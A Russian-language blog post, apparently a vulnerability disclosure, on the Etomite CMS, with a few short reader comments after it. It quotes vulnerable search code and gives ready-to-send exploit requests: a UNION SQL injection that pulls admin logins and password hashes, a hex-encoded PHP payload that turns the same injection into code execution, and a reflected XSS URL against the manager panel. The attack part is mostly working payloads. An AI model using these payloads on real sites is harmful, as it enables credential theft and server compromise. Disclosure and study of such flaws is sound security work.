Сегодня понадобилось ковырнуть эту CMS.
Оффсайт цмски www.etomite.org
Немного кривой код написанный, типа, на ООП. Но логика — бред. По сути вся цмска запихнута в один файл index.php в виде одного класа. Вообщем полный бред. Судя по коду авторы что то слышали насчет безопасности, но судя по всему всего лишь краем уха. Так как было найдено:
- SQL injection — нет зависимостей от настроек
- Выполнение PHP кода — необходима специфичная настройка параметров CMS
- XSS — нет зависимостей
Ну и вероятно это не предел, так как найдя эти уязвимости я остановился.
Далее описание уязвимостей, уязвимый код, и пример эксплуатации.
SQL injection
Вообщем классическая иньекция в модуле поиска (уязвимый код хранится в БД в виде модуля):
//...
if(isset($_POST['search']) && $_POST['search']!='') {
$search = explode(" ", $_POST['search']);
$sql = "SELECT id, pagetitle, parent, description FROM ".$etomite->db.site_content." WHERE (content LIKE '%".$search[0]."%'";
//...
}
Как видно, переменная search попадает в запрос без какой либо фильтрации. Эксплойт:
POST http://etomite/index.php?id=14
sub=Search&search=[SQL-inj]
Пример иньекции:
')AND(1=0)UNION(SELECT(1),2,3,CONCAT(username,0x3a,password))FROM`etomite`.`etomite_manager_users`)#
PHP eval
У данной цмс есть интересная функция. Заключается в том что цмс может выполнять код заключенный в теги «<?php» и «?>» на любой странице. Но особенность этой функции в том что анализ тегов происходит после полной генерации страницы. И если мы сможем изменить вывод страниц нужным нам образом (достаточно простейшей XSS) то мы сможем выполнять PHP код.
К сожалению, эта функция по дефолту отключена в админ панели.
Для примера возьмем предыдущую уязвимость и попробуем выполнить код:
POST http://etomite/index.php?id=14
sub=Search&search=')AND(1=0)UNION(SELECT(1),2,3,(0x3C3F70687020706870696E666F28293B203F3E))#
Где 0x3C3F70687020706870696E666F28293B203F3E — hex представление строки «<?php phpinfo(); ?>«. Т.е теперь вместо логина/пароля админа по-идее должа вывестись указанная строка, но(!) встроенный парсер цмски вместо вывода данной строки, выполнит ее как PHP код!
XSS
Ну и тут все совсем банально. Файл manager\includes\accesscontrol.inc.php, строка 84:
Эксплойт:
http://etomite/manager/?location="><>alert('Hacked BY InSys');</script>< z="XSS
Зашел на демо сайт, захотелось плакать. Ну его, даже и побывать не стану.
Etomite мертвый проект. Его форк MODx, давно отколовшийся, хорошо развивается и пережил уже полное переписывание кода. Использовать стоит его.
Не знал… Надо будет MODx тоже глянуть.
На rdot’e мы уже в MODx нормально нашли уязвимостей